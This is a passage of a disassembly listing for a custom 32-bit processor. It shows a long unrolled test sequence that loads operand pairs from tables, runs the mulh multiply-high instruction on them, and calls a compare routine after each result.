5028: 10 40 02 10 ld32 r16,r16
502c: 0d 45 01 38 wl16 r9,0x2818
5030: 0d 60 01 23 wh16 r9,0x3
5034: 10 40 01 29 ld32 r9,r9
5038: 00 60 01 10 mulh r8,r16
503c: 20 70 03 e2 movepc rret,8
5040: 14 30 eb f4 br 10 <compare>,#al
5044: 00 10 00 41 add r2,1
5048: 0d 40 c5 04 wl16 r8,0x624
504c: 0d 60 01 03 wh16 r8,0x3
5050: 10 40 01 08 ld32 r8,r8
5054: 0d 42 e6 00 wl16 r16,0x1720
5058: 0d 60 02 03 wh16 r16,0x3
505c: 10 40 02 10 ld32 r16,r16
5060: 0d 45 01 3c wl16 r9,0x281c
5064: 0d 60 01 23 wh16 r9,0x3
5068: 10 40 01 29 ld32 r9,r9
506c: 00 60 01 10 mulh r8,r16
5070: 20 70 03 e2 movepc rret,8
5074: 14 30 eb e7 br 10 <compare>,#al
5078: 00 10 00 41 add r2,1
507c: 0d 40 c5 08 wl16 r8,0x628
5080: 0d 60 01 03 wh16 r8,0x3
5084: 10 40 01 08 ld32 r8,r8
5088: 0d 42 e6 04 wl16 r16,0x1724
508c: 0d 60 02 03 wh16 r16,0x3
5090: 10 40 02 10 ld32 r16,r16
5094: 0d 45 05 20 wl16 r9,0x2820
5098: 0d 60 01 23 wh16 r9,0x3
509c: 10 40 01 29 ld32 r9,r9
50a0: 00 60 01 10 mulh r8,r16
50a4: 20 70 03 e2 movepc rret,8
50a8: 14 30 eb da br 10 <compare>,#al
50ac: 00 10 00 41 add r2,1
50b0: 0d 40 c5 0c wl16 r8,0x62c
50b4: 0d 60 01 03 wh16 r8,0x3
50b8: 10 40 01 08 ld32 r8,r8
50bc: 0d 42 e6 08 wl16 r16,0x1728
50c0: 0d 60 02 03 wh16 r16,0x3
50c4: 10 40 02 10 ld32 r16,r16
50c8: 0d 45 05 24 wl16 r9,0x2824
50cc: 0d 60 01 23 wh16 r9,0x3
50d0: 10 40 01 29 ld32 r9,r9
50d4: 00 60 01 10 mulh r8,r16
50d8: 20 70 03 e2 movepc rret,8
50dc: 14 30 eb cd br 10 <compare>,#al
50e0: 00 10 00 41 add r2,1
50e4: 0d 40 c5 10 wl16 r8,0x630
50e8: 0d 60 01 03 wh16 r8,0x3
50ec: 10 40 01 08 ld32 r8,r8
50f0: 0d 42 e6 0c wl16 r16,0x172c
50f4: 0d 60 02 03 wh16 r16,0x3
50f8: 10 40 02 10 ld32 r16,r16
50fc: 0d 45 05 28 wl16 r9,0x2828
5100: 0d 60 01 23 wh16 r9,0x3
5104: 10 40 01 29 ld32 r9,r9
5108: 00 60 01 10 mulh r8,r16
510c: 20 70 03 e2 movepc rret,8
5110: 14 30 eb c0 br 10 <compare>,#al
5114: 00 10 00 41 add r2,1
5118: 0d 40 c5 14 wl16 r8,0x634
511c: 0d 60 01 03 wh16 r8,0x3
5120: 10 40 01 08 ld32 r8,r8
5124: 0d 42 e6 10 wl16 r16,0x1730
5128: 0d 60 02 03 wh16 r16,0x3
512c: 10 40 02 10 ld32 r16,r16
5130: 0d 45 05 2c wl16 r9,0x282c
5134: 0d 60 01 23 wh16 r9,0x3
5138: 10 40 01 29 ld32 r9,r9
513c: 00 60 01 10 mulh r8,r16
5140: 20 70 03 e2 movepc rret,8
5144: 14 30 eb b3 br 10 <compare>,#al
5148: 00 10 00 41 add r2,1
514c: 0d 40 c5 18 wl16 r8,0x638
5150: 0d 60 01 03 wh16 r8,0x3
5154: 10 40 01 08 ld32 r8,r8
5158: 0d 42 e6 14 wl16 r16,0x1734
515c: 0d 60 02 03 wh16 r16,0x3
5160: 10 40 02 10 ld32 r16,r16
5164: 0d 45 05 30 wl16 r9,0x2830
5168: 0d 60 01 23 wh16 r9,0x3
516c: 10 40 01 29 ld32 r9,r9
5170: 00 60 01 10 mulh r8,r16
5174: 20 70 03 e2 movepc rret,8
5178: 14 30 eb a6 br 10 <compare>,#al
517c: 00 10 00 41 add r2,1
5180: 0d 40 c5 1c wl16 r8,0x63c
5184: 0d 60 01 03 wh16 r8,0x3
5188: 10 40 01 08 ld32 r8,r8
518c: 0d 42 e6 18 wl16 r16,0x1738
5190: 0d 60 02 03 wh16 r16,0x3
5194: 10 40 02 10 ld32 r16,r16
5198: 0d 45 05 34 wl16 r9,0x2834
519c: 0d 60 01 23 wh16 r9,0x3
51a0: 10 40 01 29 ld32 r9,r9
51a4: 00 60 01 10 mulh r8,r16
51a8: 20 70 03 e2 movepc rret,8
51ac: 14 30 eb 99 br 10 <compare>,#al
51b0: 00 10 00 41 add r2,1
51b4: 0d 40 c9 00 wl16 r8,0x640
51b8: 0d 60 01 03 wh16 r8,0x3
51bc: 10 40 01 08 ld32 r8,r8
51c0: 0d 42 e6 1c wl16 r16,0x173c
51c4: 0d 60 02 03 wh16 r16,0x3
51c8: 10 40 02 10 ld32 r16,r16
51cc: 0d 45 05 38 wl16 r9,0x2838
51d0: 0d 60 01 23 wh16 r9,0x3
51d4: 10 40 01 29 ld32 r9,r9
51d8: 00 60 01 10 mulh r8,r16
51dc: 20 70 03 e2 movepc rret,8
51e0: 14 30 eb 8c br 10 <compare>,#al
51e4: 00 10 00 41 add r2,1
51e8: 0d 40 c9 04 wl16 r8,0x644
51ec: 0d 60 01 03 wh16 r8,0x3
51f0: 10 40 01 08 ld32 r8,r8
51f4: 0d 42 ea 00 wl16 r16,0x1740
51f8: 0d 60 02 03 wh16 r16,0x3
51fc: 10 40 02 10 ld32 r16,r16
5200: 0d 45 05 3c wl16 r9,0x283c
5204: 0d 60 01 23 wh16 r9,0x3
5208: 10 40 01 29 ld32 r9,r9
520c: 00 60 01 10 mulh r8,r16
5210: 20 70 03 e2 movepc rret,8
5214: 14 30 eb 7f br 10 <compare>,#al
5218: 00 10 00 41 add r2,1
521c: 0d 40 c9 08 wl16 r8,0x648
5220: 0d 60 01 03 wh16 r8,0x3
5224: 10 40 01 08 ld32 r8,r8
5228: 0d 42 ea 04 wl16 r16,0x1744
522c: 0d 60 02 03 wh16 r16,0x3
5230: 10 40 02 10 ld32 r16,r16
5234: 0d 45 09 20 wl16 r9,0x2840
5238: 0d 60 01 23 wh16 r9,0x3
523c: 10 40 01 29 ld32 r9,r9
5240: 00 60 01 10 mulh r8,r16
5244: 20 70 03 e2 movepc rret,8
5248: 14 30 eb 72 br 10 <compare>,#al
524c: 00 10 00 41 add r2,1
5250: 0d 40 c9 0c wl16 r8,0x64c
5254: 0d 60 01 03 wh16 r8,0x3
5258: 10 40 01 08 ld32 r8,r8
525c: 0d 42 ea 08 wl16 r16,0x1748
5260: 0d 60 02 03 wh16 r16,0x3
5264: 10 40 02 10 ld32 r16,r16
5268: 0d 45 09 24 wl16 r9,0x2844
526c: 0d 60 01 23 wh16 r9,0x3
5270: 10 40 01 29 ld32 r9,r9
5274: 00 60 01 10 mulh r8,r16
5278: 20 70 03 e2 movepc rret,8
527c: 14 30 eb 65 br 10 <compare>,#al
5280: 00 10 00 41 add r2,1
5284: 0d 40 c9 10 wl16 r8,0x650
5288: 0d 60 01 03 wh16 r8,0x3
528c: 10 40 01 08 ld32 r8,r8
5290: 0d 42 ea 0c wl16 r16,0x174c
5294: 0d 60 02 03 wh16 r16,0x3
5298: 10 40 02 10 ld32 r16,r16
529c: 0d 45 09 28 wl16 r9,0x2848
52a0: 0d 60 01 23 wh16 r9,0x3
52a4: 10 40 01 29 ld32 r9,r9
52a8: 00 60 01 10 mulh r8,r16
52ac: 20 70 03 e2 movepc rret,8
52b0: 14 30 eb 58 br 10 <compare>,#al
52b4: 00 10 00 41 add r2,1
52b8: 0d 40 c9 14 wl16 r8,0x654
52bc: 0d 60 01 03 wh16 r8,0x3
52c0: 10 40 01 08 ld32 r8,r8
52c4: 0d 42 ea 10 wl16 r16,0x1750
52c8: 0d 60 02 03 wh16 r16,0x3
52cc: 10 40 02 10 ld32 r16,r16
52d0: 0d 45 09 2c wl16 r9,0x284c
52d4: 0d 60 01 23 wh16 r9,0x3
52d8: 10 40 01 29 ld32 r9,r9
52dc: 00 60 01 10 mulh r8,r16
52e0: 20 70 03 e2 movepc rret,8
52e4: 14 30 eb 4b br 10 <compare>,#al
52e8: 00 10 00 41 add r2,1
52ec: 0d 40 c9 18 wl16 r8,0x658
52f0: 0d 60 01 03 wh16 r8,0x3
52f4: 10 40 01 08 ld32 r8,r8
52f8: 0d 42 ea 14 wl16 r16,0x1754
52fc: 0d 60 02 03 wh16 r16,0x3
5300: 10 40 02 10 ld32 r16,r16
5304: 0d 45 09 30 wl16 r9,0x2850
5308: 0d 60 01 23 wh16 r9,0x3
530c: 10 40 01 29 ld32 r9,r9
5310: 00 60 01 10 mulh r8,r16
5314: 20 70 03 e2 movepc rret,8
5318: 14 30 eb 3e br 10 <compare>,#al
531c: 00 10 00 41 add r2,1
5320: 0d 40 c9 1c wl16 r8,0x65c
5324: 0d 60 01 03 wh16 r8,0x3
5328: 10 40 01 08 ld32 r8,r8
532c: 0d 42 ea 18 wl16 r16,0x1758
5330: 0d 60 02 03 wh16 r16,0x3
5334: 10 40 02 10 ld32 r16,r16
5338: 0d 45 09 34 wl16 r9,0x2854
533c: 0d 60 01 23 wh16 r9,0x3
5340: 10 40 01 29 ld32 r9,r9
5344: 00 60 01 10 mulh r8,r16
5348: 20 70 03 e2 movepc rret,8
534c: 14 30 eb 31 br 10 <compare>,#al
5350: 00 10 00 41 add r2,1
5354: 0d 40 cd 00 wl16 r8,0x660
5358: 0d 60 01 03 wh16 r8,0x3
535c: 10 40 01 08 ld32 r8,r8
5360: 0d 42 ea 1c wl16 r16,0x175c
5364: 0d 60 02 03 wh16 r16,0x3
5368: 10 40 02 10 ld32 r16,r16
536c: 0d 45 09 38 wl16 r9,0x2858
5370: 0d 60 01 23 wh16 r9,0x3
5374: 10 40 01 29 ld32 r9,r9
5378: 00 60 01 10 mulh r8,r16
537c: 20 70 03 e2 movepc rret,8
5380: 14 30 eb 24 br 10 <compare>,#al
5384: 00 10 00 41 add r2,1
5388: 0d 40 cd 04 wl16 r8,0x664
538c: 0d 60 01 03 wh16 r8,0x3
5390: 10 40 01 08 ld32 r8,r8
5394: 0d 42 ee 00 wl16 r16,0x1760
5398: 0d 60 02 03 wh16 r16,0x3
539c: 10 40 02 10 ld32 r16,r16
53a0: 0d 45 09 3c wl16 r9,0x285c
53a4: 0d 60 01 23 wh16 r9,0x3
53a8: 10 40 01 29 ld32 r9,r9
53ac: 00 60 01 10 mulh r8,r16
53b0: 20 70 03 e2 movepc rret,8
53b4: 14 30 eb 17 br 10 <compare>,#al
53b8: 00 10 00 41 add r2,1
53bc: 0d 40 cd 08 wl16 r8,0x668
53c0: 0d 60 01 03 wh16 r8,0x3
53c4: 10 40 01 08 ld32 r8,r8
53c8: 0d 42 ee 04 wl16 r16,0x1764
53cc: 0d 60 02 03 wh16 r16,0x3
53d0: 10 40 02 10 ld32 r16,r16
53d4: 0d 45 0d 20 wl16 r9,0x2860
53d8: 0d 60 01 23 wh16 r9,0x3
53dc: 10 40 01 29 ld32 r9,r9
53e0: 00 60 01 10 mulh r8,r16
53e4: 20 70 03 e2 movepc rret,8
53e8: 14 30 eb 0a br 10 <compare>,#al
53ec: 00 10 00 41 add r2,1
53f0: 0d 40 cd 0c wl16 r8,0x66c
53f4: 0d 60 01 03 wh16 r8,0x3
53f8: 10 40 01 08 ld32 r8,r8
53fc: 0d 42 ee 08 wl16 r16,0x1768
5400: 0d 60 02 03 wh16 r16,0x3
5404: 10 40 02 10 ld32 r16,r16
5408: 0d 45 0d 24 wl16 r9,0x2864
540c: 0d 60 01 23 wh16 r9,0x3
5410: 10 40 01 29 ld32 r9,r9
5414: 00 60 01 10 mulh r8,r16
5418: 20 70 03 e2 movepc rret,8
541c: 14 30 ea fd br 10 <compare>,#al
5420: 00 10 00 41 add r2,1
5424: 0d 40 cd 10 wl16 r8,0x670
5428: 0d 60 01 03 wh16 r8,0x3
542c: 10 40 01 08 ld32 r8,r8
5430: 0d 42 ee 0c wl16 r16,0x176c
5434: 0d 60 02 03 wh16 r16,0x3
5438: 10 40 02 10 ld32 r16,r16
543c: 0d 45 0d 28 wl16 r9,0x2868
5440: 0d 60 01 23 wh16 r9,0x3
5444: 10 40 01 29 ld32 r9,r9
5448: 00 60 01 10 mulh r8,r16
544c: 20 70 03 e2 movepc rret,8
5450: 14 30 ea f0 br 10 <compare>,#al
5454: 00 10 00 41 add r2,1
5458: 0d 40 cd 14 wl16 r8,0x674
545c: 0d 60 01 03 wh16 r8,0x3
5460: 10 40 01 08 ld32 r8,r8
5464: 0d 42 ee 10 wl16 r16,0x1770
5468: 0d 60 02 03 wh16 r16,0x3
546c: 10 40 02 10 ld32 r16,r16
5470: 0d 45 0d 2c wl16 r9,0x286c
5474: 0d 60 01 23 wh16 r9,0x3
5478: 10 40 01 29 ld32 r9,r9
547c: 00 60 01 10 mulh r8,r16
5480: 20 70 03 e2 movepc rret,8
5484: 14 30 ea e3 br 10 <compare>,#al
5488: 00 10 00 41 add r2,1
548c: 0d 40 cd 18 wl16 r8,0x678
5490: 0d 60 01 03 wh16 r8,0x3
5494: 10 40 01 08 ld32 r8,r8
5498: 0d 42 ee 14 wl16 r16,0x1774
549c: 0d 60 02 03 wh16 r16,0x3
54a0: 10 40 02 10 ld32 r16,r16
54a4: 0d 45 0d 30 wl16 r9,0x2870
54a8: 0d 60 01 23 wh16 r9,0x3
54ac: 10 40 01 29 ld32 r9,r9
54b0: 00 60 01 10 mulh r8,r16
54b4: 20 70 03 e2 movepc rret,8
54b8: 14 30 ea d6 br 10 <compare>,#al
54bc: 00 10 00 41 add r2,1
54c0: 0d 40 cd 1c wl16 r8,0x67c
54c4: 0d 60 01 03 wh16 r8,0x3
54c8: 10 40 01 08 ld32 r8,r8
54cc: 0d 42 ee 18 wl16 r16,0x1778
54d0: 0d 60 02 03 wh16 r16,0x3
54d4: 10 40 02 10 ld32 r16,r16
54d8: 0d 45 0d 34 wl16 r9,0x2874
54dc: 0d 60 01 23 wh16 r9,0x3
54e0: 10 40 01 29 ld32 r9,r9
54e4: 00 60 01 10 mulh r8,r16
54e8: 20 70 03 e2 movepc rret,8
54ec: 14 30 ea c9 br 10 <compare>,#al
54f0: 00 10 00 41 add r2,1
54f4: 0d 40 d1 00 wl16 r8,0x680
54f8: 0d 60 01 03 wh16 r8,0x3
54fc: 10 40 01 08 ld32 r8,r8
5500: 0d 42 ee 1c wl16 r16,0x177c
5504: 0d 60 02 03 wh16 r16,0x3
5508: 10 40 02 10 ld32 r16,r16
550c: 0d 45 0d 38 wl16 r9,0x2878
5510: 0d 60 01 23 wh16 r9,0x3
5514: 10 40 01 29 ld32 r9,r9
5518: 00 60 01 10 mulh r8,r16
551c: 20 70 03 e2 movepc rret,8
5520: 14 30 ea bc br 10 <compare>,#al
5524: 00 10 00 41 add r2,1
5528: 0d 40 d1 04 wl16 r8,0x684
552c: 0d 60 01 03 wh16 r8,0x3
5530: 10 40 01 08 ld32 r8,r8
5534: 0d 42 f2 00 wl16 r16,0x1780
5538: 0d 60 02 03 wh16 r16,0x3
553c: 10 40 02 10 ld32 r16,r16
5540: 0d 45 0d 3c wl16 r9,0x287c
5544: 0d 60 01 23 wh16 r9,0x3
5548: 10 40 01 29 ld32 r9,r9
554c: 00 60 01 10 mulh r8,r16
5550: 20 70 03 e2 movepc rret,8
5554: 14 30 ea af br 10 <compare>,#al
5558: 00 10 00 41 add r2,1
555c: 0d 40 d1 08 wl16 r8,0x688
5560: 0d 60 01 03 wh16 r8,0x3
5564: 10 40 01 08 ld32 r8,r8
5568: 0d 42 f2 04 wl16 r16,0x1784
556c: 0d 60 02 03 wh16 r16,0x3
5570: 10 40 02 10 ld32 r16,r16
5574: 0d 45 11 20 wl16 r9,0x2880
5578: 0d 60 01 23 wh16 r9,0x3
557c: 10 40 01 29 ld32 r9,r9
5580: 00 60 01 10 mulh r8,r16
5584: 20 70 03 e2 movepc rret,8
5588: 14 30 ea a2 br 10 <compare>,#al
558c: 00 10 00 41 add r2,1
5590: 0d 40 d1 0c wl16 r8,0x68c
5594: 0d 60 01 03 wh16 r8,0x3
5598: 10 40 01 08 ld32 r8,r8
559c: 0d 42 f2 08 wl16 r16,0x1788
55a0: 0d 60 02 03 wh16 r16,0x3
55a4: 10 40 02 10 ld32 r16,r16
55a8: 0d 45 11 24 wl16 r9,0x2884
55ac: 0d 60 01 23 wh16 r9,0x3
55b0: 10 40 01 29 ld32 r9,r9
55b4: 00 60 01 10 mulh r8,r16
55b8: 20 70 03 e2 movepc rret,8
55bc: 14 30 ea 95 br 10 <compare>,#al
55c0: 00 10 00 41 add r2,1
55c4: 0d 40 d1 10 wl16 r8,0x690
55c8: 0d 60 01 03 wh16 r8,0x3
55cc: 10 40 01 08 ld32 r8,r8
55d0: 0d 42 f2 0c wl16 r16,0x178c
55d4: 0d 60 02 03 wh16 r16,0x3
55d8: 10 40 02 10 ld32 r16,r16
55dc: 0d 45 11 28 wl16 r9,0x2888
55e0: 0d 60 01 23 wh16 r9,0x3
55e4: 10 40 01 29 ld32 r9,r9
55e8: 00 60 01 10 mulh r8,r16
55ec: 20 70 03 e2 movepc rret,8
55f0: 14 30 ea 88 br 10 <compare>,#al
55f4: 00 10 00 41 add r2,1
55f8: 0d 40 d1 14 wl16 r8,0x694
55fc: 0d 60 01 03 wh16 r8,0x3
5600: 10 40 01 08 ld32 r8,r8
5604: 0d 42 f2 10 wl16 r16,0x1790
5608: 0d 60 02 03 wh16 r16,0x3
560c: 10 40 02 10 ld32 r16,r16
5610: 0d 45 11 2c wl16 r9,0x288c
5614: 0d 60 01 23 wh16 r9,0x3
5618: 10 40 01 29 ld32 r9,r9
561c: 00 60 01 10 mulh r8,r16
5620: 20 70 03 e2 movepc rret,8
5624: 14 30 ea 7b br 10 <compare>,#al
5628: 00 10 00 41 add r2,1
562c: 0d 40 d1 18 wl16 r8,0x698
5630: 0d 60 01 03 wh16 r8,0x3
5634: 10 40 01 08 ld32 r8,r8
5638: 0d 42 f2 14 wl16 r16,0x1794
563c: 0d 60 02 03 wh16 r16,0x3
5640: 10 40 02 10 ld32 r16,r16
5644: 0d 45 11 30 wl16 r9,0x2890
5648: 0d 60 01 23 wh16 r9,0x3
564c: 10 40 01 29 ld32 r9,r9
5650: 00 60 01 10 mulh r8,r16
5654: 20 70 03 e2 movepc rret,8
5658: 14 30 ea 6e br 10 <compare>,#al
565c: 00 10 00 41 add r2,1
5660: 0d 40 d1 1c wl16 r8,0x69c
5664: 0d 60 01 03 wh16 r8,0x3
5668: 10 40 01 08 ld32 r8,r8
566c: 0d 42 f2 18 wl16 r16,0x1798
5670: 0d 60 02 03 wh16 r16,0x3
5674: 10 40 02 10 ld32 r16,r16
5678: 0d 45 11 34 wl16 r9,0x2894
567c: 0d 60 01 23 wh16 r9,0x3
5680: 10 40 01 29 ld32 r9,r9
5684: 00 60 01 10 mulh r8,r16
5688: 20 70 03 e2 movepc rret,8
568c: 14 30 ea 61 br 10 <compare>,#al
5690: 00 10 00 41 add r2,1
5694: 0d 40 d5 00 wl16 r8,0x6a0
5698: 0d 60 01 03 wh16 r8,0x3
569c: 10 40 01 08 ld32 r8,r8
56a0: 0d 42 f2 1c wl16 r16,0x179c
56a4: 0d 60 02 03 wh16 r16,0x3
56a8: 10 40 02 10 ld32 r16,r16
56ac: 0d 45 11 38 wl16 r9,0x2898
56b0: 0d 60 01 23 wh16 r9,0x3
56b4: 10 40 01 29 ld32 r9,r9
56b8: 00 60 01 10 mulh r8,r16
56bc: 20 70 03 e2 movepc rret,8
56c0: 14 30 ea 54 br 10 <compare>,#al
56c4: 00 10 00 41 add r2,1
56c8: 0d 40 d5 04 wl16 r8,0x6a4
56cc: 0d 60 01 03 wh16 r8,0x3
56d0: 10 40 01 08 ld32 r8,r8
56d4: 0d 42 f6 00 wl16 r16,0x17a0
56d8: 0d 60 02 03 wh16 r16,0x3
56dc: 10 40 02 10 ld32 r16,r16
56e0: 0d 45 11 3c wl16 r9,0x289c
56e4: 0d 60 01 23 wh16 r9,0x3
56e8: 10 40 01 29 ld32 r9,r9
56ec: 00 60 01 10 mulh r8,r16
56f0: 20 70 03 e2 movepc rret,8
56f4: 14 30 ea 47 br 10 <compare>,#al
56f8: 00 10 00 41 add r2,1
56fc: 0d 40 d5 08 wl16 r8,0x6a8
5700: 0d 60 01 03 wh16 r8,0x3
5704: 10 40 01 08 ld32 r8,r8
5708: 0d 42 f6 04 wl16 r16,0x17a4
570c: 0d 60 02 03 wh16 r16,0x3
5710: 10 40 02 10 ld32 r16,r16
5714: 0d 45 15 20 wl16 r9,0x28a0
5718: 0d 60 01 23 wh16 r9,0x3
571c: 10 40 01 29 ld32 r9,r9
5720: 00 60 01 10 mulh r8,r16
5724: 20 70 03 e2 movepc rret,8
5728: 14 30 ea 3a br 10 <compare>,#al
572c: 00 10 00 41 add r2,1
5730: 0d 40 d5 0c wl16 r8,0x6ac
5734: 0d 60 01 03 wh16 r8,0x3
5738: 10 40 01 08 ld32 r8,r8
573c: 0d 42 f6 08 wl16 r16,0x17a8
5740: 0d 60 02 03 wh16 r16,0x3
5744: 10 40 02 10 ld32 r16,r16
5748: 0d 45 15 24 wl16 r9,0x28a4
574c: 0d 60 01 23 wh16 r9,0x3
5750: 10 40 01 29 ld32 r9,r9
5754: 00 60 01 10 mulh r8,r16
5758: 20 70 03 e2 movepc rret,8
575c: 14 30 ea 2d br 10 <compare>,#al
5760: 00 10 00 41 add r2,1
5764: 0d 40 d5 10 wl16 r8,0x6b0
5768: 0d 60 01 03 wh16 r8,0x3
576c: 10 40 01 08 ld32 r8,r8
5770: 0d 42 f6 0c wl16 r16,0x17ac
5774: 0d 60 02 03 wh16 r16,0x3
5778: 10 40 02 10 ld32 r16,r16
577c: 0d 45 15 28 wl16 r9,0x28a8
5780: 0d 60 01 23 wh16 r9,0x3
5784: 10 40 01 29 ld32 r9,r9
5788: 00 60 01 10 mulh r8,r16
578c: 20 70 03 e2 movepc rret,8
5790: 14 30 ea 20 br 10 <compare>,#al
5794: 00 10 00 41 add r2,1
5798: 0d 40 d5 14 wl16 r8,0x6b4
579c: 0d 60 01 03 wh16 r8,0x3
57a0: 10 40 01 08 ld32 r8,r8
57a4: 0d 42 f6 10 wl16 r16,0x17b0
57a8: 0d 60 02 03 wh16 r16,0x3
57ac: 10 40 02 10 ld32 r16,r16
57b0: 0d 45 15 2c wl16 r9,0x28ac
57b4: 0d 60 01 23 wh16 r9,0x3
57b8: 10 40 01 29 ld32 r9,r9
57bc: 00 60 01 10 mulh r8,r16
57c0: 20 70 03 e2 movepc rret,8
57c4: 14 30 ea 13 br 10 <compare>,#al
57c8: 00 10 00 41 add r2,1
57cc: 0d 40 d5 18 wl16 r8,0x6b8
57d0: 0d 60 01 03 wh16 r8,0x3
57d4: 10 40 01 08 ld32 r8,r8
57d8: 0d 42 f6 14 wl16 r16,0x17b4
57dc: 0d 60 02 03 wh16 r16,0x3
57e0: 10 40 02 10 ld32 r16,r16
57e4: 0d 45 15 30 wl16 r9,0x28b0
57e8: 0d 60 01 23 wh16 r9,0x3
57ec: 10 40 01 29 ld32 r9,r9
57f0: 00 60 01 10 mulh r8,r16
57f4: 20 70 03 e2 movepc rret,8
57f8: 14 30 ea 06 br 10 <compare>,#al
57fc: 00 10 00 41 add r2,1
5800: 0d 40 d5 1c wl16 r8,0x6bc
5804: 0d 60 01 03 wh16 r8,0x3
5808: 10 40 01 08 ld32 r8,r8
580c: 0d 42 f6 18 wl16 r16,0x17b8
5810: 0d 60 02 03 wh16 r16,0x3
5814: 10 40 02 10 ld32 r16,r16
5818: 0d 45 15 34 wl16 r9,0x28b4
581c: 0d 60 01 23 wh16 r9,0x3
5820: 10 40 01 29 ld32 r9,r9
5824: 00 60 01 10 mulh r8,r16
5828: 20 70 03 e2 movepc rret,8
582c: 14 30 e9 f9 br 10 <compare>,#al
5830: 00 10 00 41 add r2,1
5834: 0d 40 d9 00 wl16 r8,0x6c0
5838: 0d 60 01 03 wh16 r8,0x3
583c: 10 40 01 08 ld32 r8,r8
5840: 0d 42 f6 1c wl16 r16,0x17bc
5844: 0d 60 02 03 wh16 r16,0x3
5848: 10 40 02 10 ld32 r16,r16
584c: 0d 45 15 38 wl16 r9,0x28b8
5850: 0d 60 01 23 wh16 r9,0x3
5854: 10 40 01 29 ld32 r9,r9
5858: 00 60 01 10 mulh r8,r16
585c: 20 70 03 e2 movepc rret,8
5860: 14 30 e9 ec br 10 <compare>,#al
5864: 00 10 00 41 add r2,1
5868: 0d 40 d9 04 wl16 r8,0x6c4
586c: 0d 60 01 03 wh16 r8,0x3
5870: 10 40 01 08 ld32 r8,r8
5874: 0d 42 fa 00 wl16 r16,0x17c0
5878: 0d 60 02 03 wh16 r16,0x3
587c: 10 40 02 10 ld32 r16,r16
5880: 0d 45 15 3c wl16 r9,0x28bc
5884: 0d 60 01 23 wh16 r9,0x3
5888: 10 40 01 29 ld32 r9,r9
588c: 00 60 01 10 mulh r8,r16
5890: 20 70 03 e2 movepc rret,8
5894: 14 30 e9 df br 10 <compare>,#al
5898: 00 10 00 41 add r2,1
589c: 0d 40 d9 08 wl16 r8,0x6c8
58a0: 0d 60 01 03 wh16 r8,0x3
58a4: 10 40 01 08 ld32 r8,r8
58a8: 0d 42 fa 04 wl16 r16,0x17c4
58ac: 0d 60 02 03 wh16 r16,0x3
58b0: 10 40 02 10 ld32 r16,r16
58b4: 0d 45 19 20 wl16 r9,0x28c0
58b8: 0d 60 01 23 wh16 r9,0x3
58bc: 10 40 01 29 ld32 r9,r9
58c0: 00 60 01 10 mulh r8,r16
58c4: 20 70 03 e2 movepc rret,8
58c8: 14 30 e9 d2 br 10 <compare>,#al
58cc: 00 10 00 41 add r2,1
58d0: 0d 40 d9 0c wl16 r8,0x6cc
58d4: 0d 60 01 03 wh16 r8,0x3
58d8: 10 40 01 08 ld32 r8,r8
58dc: 0d 42 fa 08 wl16 r16,0x17c8
58e0: 0d 60 02 03 wh16 r16,0x3
58e4: 10 40 02 10 ld32 r16,r16
58e8: 0d 45 19 24 wl16 r9,0x28c4
58ec: 0d 60 01 23 wh16 r9,0x3
58f0: 10 40 01 29 ld32 r9,r9
58f4: 00 60 01 10 mulh r8,r16
58f8: 20 70 03 e2 movepc rret,8
58fc: 14 30 e9 c5 br 10 <compare>,#al
5900: 00 10 00 41 add r2,1
5904: 0d 40 d9 10 wl16 r8,0x6d0
5908: 0d 60 01 03 wh16 r8,0x3
590c: 10 40 01 08 ld32 r8,r8
5910: 0d 42 fa 0c wl16 r16,0x17cc
5914: 0d 60 02 03 wh16 r16,0x3
5918: 10 40 02 10 ld32 r16,r16
591c: 0d 45 19 28 wl16 r9,0x28c8
5920: 0d 60 01 23 wh16 r9,0x3
5924: 10 40 01 29 ld32 r9,r9
5928: 00 60 01 10 mulh r8,r16
592c: 20 70 03 e2 movepc rret,8
5930: 14 30 e9 b8 br 10 <compare>,#al
5934: 00 10 00 41 add r2,1
5938: 0d 40 d9 14 wl16 r8,0x6d4
593c: 0d 60 01 03 wh16 r8,0x3
5940: 10 40 01 08 ld32 r8,r8
5944: 0d 42 fa 10 wl16 r16,0x17d0
5948: 0d 60 02 03 wh16 r16,0x3
594c: 10 40 02 10 ld32 r16,r16
5950: 0d 45 19 2c wl16 r9,0x28cc
5954: 0d 60 01 23 wh16 r9,0x3
5958: 10 40 01 29 ld32 r9,r9
595c: 00 60 01 10 mulh r8,r16
5960: 20 70 03 e2 movepc rret,8
5964: 14 30 e9 ab br 10 <compare>,#al
5968: 00 10 00 41 add r2,1
596c: 0d 40 d9 18 wl16 r8,0x6d8
5970: 0d 60 01 03 wh16 r8,0x3
5974: 10 40 01 08 ld32 r8,r8
5978: 0d 42 fa 14 wl16 r16,0x17d4
597c: 0d 60 02 03 wh16 r16,0x3
5980: 10 40 02 10 ld32 r16,r16
5984: 0d 45 19 30 wl16 r9,0x28d0
5988: 0d 60 01 23 wh16 r9,0x3
598c: 10 40 01 29 ld32 r9,r9
5990: 00 60 01 10 mulh r8,r16
5994: 20 70 03 e2 movepc rret,8
5998: 14 30 e9 9e br 10 <compare>,#al
599c: 00 10 00 41 add r2,1
59a0: 0d 40 d9 1c wl16 r8,0x6dc
59a4: 0d 60 01 03 wh16 r8,0x3
59a8: 10 40 01 08 ld32 r8,r8
59ac: 0d 42 fa 18 wl16 r16,0x17d8
59b0: 0d 60 02 03 wh16 r16,0x3
59b4: 10 40 02 10 ld32 r16,r16
59b8: 0d 45 19 34 wl16 r9,0x28d4
59bc: 0d 60 01 23 wh16 r9,0x3
59c0: 10 40 01 29 ld32 r9,r9
59c4: 00 60 01 10 mulh r8,r16
59c8: 20 70 03 e2 movepc rret,8
59cc: 14 30 e9 91 br 10 <compare>,#al
59d0: 00 10 00 41 add r2,1
59d4: 0d 40 dd 00 wl16 r8,0x6e0
59d8: 0d 60 01 03 wh16 r8,0x3
59dc: 10 40 01 08 ld32 r8,r8
59e0: 0d 42 fa 1c wl16 r16,0x17dc
59e4: 0d 60 02 03 wh16 r16,0x3
59e8: 10 40 02 10 ld32 r16,r16
59ec: 0d 45 19 38 wl16 r9,0x28d8
59f0: 0d 60 01 23 wh16 r9,0x3
59f4: 10 40 01 29 ld32 r9,r9
59f8: 00 60 01 10 mulh r8,r16
59fc: 20 70 03 e2 movepc rret,8
5a00: 14 30 e9 84 br 10 <compare>,#al
5a04: 00 10 00 41 add r2,1
5a08: 0d 40 dd 04 wl16 r8,0x6e4
5a0c: 0d 60 01 03 wh16 r8,0x3
5a10: 10 40 01 08 ld32 r8,r8
5a14: 0d 42 fe 00 wl16 r16,0x17e0
5a18: 0d 60 02 03 wh16 r16,0x3
